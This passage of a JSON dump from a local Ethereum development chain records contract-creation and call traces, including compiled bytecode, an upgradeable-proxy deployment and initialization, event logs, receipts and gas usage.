0200101516040518463ffffffff1660e01b815260040161102f9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190611c78565b6001600160c01b031682828151811061108b5761108b611a4c565b6020908102919091010152600101610fad565b5095945050505050565b60408051600180825281830190925260009160609183916020808301908036833701905050905084816000815181106110e3576110e3611a4c565b60209081029190910101526040516361c8a12f60e11b81526000906001600160a01b0388169063c391425e9061111f9088908690600401611d36565b600060405180830381865afa15801561113c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111649190810190611b98565b60008151811061117657611176611a4c565b60209081029190910101516040516304ec635160e01b81526004810188905263ffffffff87811660248301529091166044820181905291506000906001600160a01b038916906304ec635190606401602060405180830381865afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190611c78565b6001600160c01b03169050600061121c8261123a565b90508161122a8a838a610245565b9550955050505050935093915050565b606060008061124884611306565b61ffff166001600160401b038111156112635761126361134f565b6040519080825280601f01601f19166020018201604052801561128d576020820181803683370190505b5090506000805b8251821080156112a5575061010081105b156112fc576001811b9350858416156112ec578060f81b8383815181106112ce576112ce611a4c565b60200101906001600160f81b031916908160001a9053508160010191505b6112f581611cd4565b9050611294565b5090949350505050565b6000805b82156113315761131b600184611d55565b909216918061132981611d68565b91505061130a565b92915050565b6001600160a01b038116811461134c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561138d5761138d61134f565b604052919050565b60006001600160401b038211156113ae576113ae61134f565b5060051b60200190565b600080604083850312156113cb57600080fd5b82356113d681611337565b91506020838101356001600160401b038111156113f257600080fd5b8401601f8101861361140357600080fd5b803561141661141182611395565b611365565b81815260059190911b8201830190838101908883111561143557600080fd5b928401925b8284101561145c57833561144d81611337565b8252928401929084019061143a565b80955050505050509250929050565b60008151808452602080850194506020840160005b8381101561149c57815187529582019590820190600101611480565b509495945050505050565b6020815260006114ba602083018461146b565b9392505050565b63ffffffff8116811461134c57600080fd5b80356114de816114c1565b919050565b6000806000606084860312156114f857600080fd5b833561150381611337565b92506020848101356001600160401b038082111561152057600080fd5b818701915087601f83011261153457600080fd5b8135818111156115465761154661134f565b611558601f8201601f19168501611365565b9150808252888482850101111561156e57600080fd5b8084840185840137600084828401015250809450505050611591604085016114d3565b90509250925092565b600082825180855260208086019550808260051b8401018186016000805b8581101561163357868403601f19018a52825180518086529086019086860190845b8181101561161e57835180516001600160a01b03168452898101518a8501526040908101516001600160601b031690840152928801926060909201916001016115da565b50509a86019a945050918401916001016115b8565b509198975050505050505050565b6020815260006114ba602083018461159a565b600082601f83011261166557600080fd5b8135602061167561141183611395565b8083825260208201915060208460051b87010193508684111561169757600080fd5b602086015b848110156116b3578035835291830191830161169c565b509695505050505050565b600080604083850312156116d157600080fd5b82356116dc81611337565b915060208301356001600160401b038111156116f757600080fd5b61170385828601611654565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561174e5783516001600160a01b031683529284019291840191600101611729565b50909695505050505050565b60008083601f84011261176c57600080fd5b5081356001600160401b0381111561178357600080fd5b6020830191508360208260051b850101111561179e57600080fd5b9250929050565b600080600080600080608087890312156117be57600080fd5b86356117c981611337565b955060208701356117d9816114c1565b945060408701356001600160401b03808211156117f557600080fd5b818901915089601f83011261180957600080fd5b81358181111561181857600080fd5b8a602082850101111561182a57600080fd5b60208301965080955050606089013591508082111561184857600080fd5b5061185589828a0161175a565b979a9699509497509295939492505050565b60008151808452602080850194506020840160005b8381101561149c57815163ffffffff168752958201959082019060010161187c565b6000602080835283516080828501526118ba60a0850182611867565b905081850151601f19808684030160408701526118d78383611867565b925060408701519150808684030160608701526118f48383611867565b60608801518782038301608089015280518083529194508501925084840190600581901b8501860160005b8281101561194b5784878303018452611939828751611867565b9588019593880193915060010161191f565b509998505050505050505050565b60008060006060848603121561196e57600080fd5b833561197981611337565b925060208401356001600160401b0381111561199457600080fd5b6119a086828701611654565b92505060408401356119b1816114c1565b809150509250925092565b6020808252825182820181905260009190848201906040850190845b8181101561174e578351835292840192918401916001016119d8565b600080600060608486031215611a0957600080fd5b8335611a1481611337565b92506020840135915060408401356119b1816114c1565b828152604060208201526000611a44604083018461159a565b949350505050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a7457600080fd5b5051919050565b600060208284031215611a8d57600080fd5b81516114ba81611337565b60006020808385031215611aab57600080fd5b82516001600160401b03811115611ac157600080fd5b8301601f81018513611ad257600080fd5b8051611ae061141182611395565b81815260059190911b82018301908381019087831115611aff57600080fd5b928401925b82841015611b1d57835182529284019290840190611b04565b979650505050505050565b600060208284031215611b3a57600080fd5b81516001600160601b03811681146114ba57600080fd5b63ffffffff84168152604060208201819052810182905260006001600160fb1b03831115611b7e57600080fd5b8260051b8085606085013791909101606001949350505050565b60006020808385031215611bab57600080fd5b82516001600160401b03811115611bc157600080fd5b8301601f81018513611bd257600080fd5b8051611be061141182611395565b81815260059190911b82018301908381019087831115611bff57600080fd5b928401925b82841015611b1d578351611c17816114c1565b82529284019290840190611c04565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b63ffffffff84168152604060208201526000611c6f604083018486611c26565b95945050505050565b600060208284031215611c8a57600080fd5b81516001600160c01b03811681146114ba57600080fd5b600060208284031215611cb357600080fd5b81516114ba816114c1565b634e487b7160e01b600052601160045260246000fd5b600060018201611ce657611ce6611cbe565b5060010190565b600060ff821660ff8103611d0357611d03611cbe565b60010192915050565b604081526000611d20604083018587611c26565b905063ffffffff83166020830152949350505050565b63ffffffff83168152604060208201526000611a44604083018461146b565b8181038181111561133157611331611cbe565b600061ffff808316818103611d7f57611d7f611cbe565b600101939250505056fea26469706673582212202b3e36f430d5f7f12f8124a33676c0954c36bdaf4a71ac7e145cf85fb593480b64736f6c63430008180033","nonce":53,"gas_used":1697863},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1a69db","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x49f63408e3604ef81facaecb93e0343c9d51e5081a1ff0c7c0d20610b2121f7b","block_number":15},{"info":{"transaction_hash":"0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":118687,"gas_limit":172853,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xc5a5c42992decbae36851359345fe25997f5c42d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":112329,"gas_limit":163941,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xc5a5c42992decbae36851359345fe25997f5c42d","address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","output":"0x","gas_used":99364,"gas_limit":148834,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":29,"gas_used":142079},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x22aff","logs":[{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0x7bb83840dc25b6baee1983d47c2cd54aaf16a8d85dec26e3b66f3710b137b3dd","block_number":26},{"info":{"transaction_hash":"0xe81520cb6a61c365570ea0ecb6c4493fd513e1fbd71c92e4ee8b3937f9e5561f","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033","output":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033","gas_used":23875,"gas_limit":47605,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033","nonce":2,"gas_used":79145},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x13529","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xa132fcf5a411dbb73abfc284990a3cc8254d584c240d307c839519a9006fea1e","block_number":3},{"info":{"transaction_hash":"0xdbdadf45fb439e8fa448e3a2a65d102e6ea90fd393e3cd024c9499759f3683cc","transaction_index":3,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","gas_used":464703,"gas_limit":636293,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d57604051624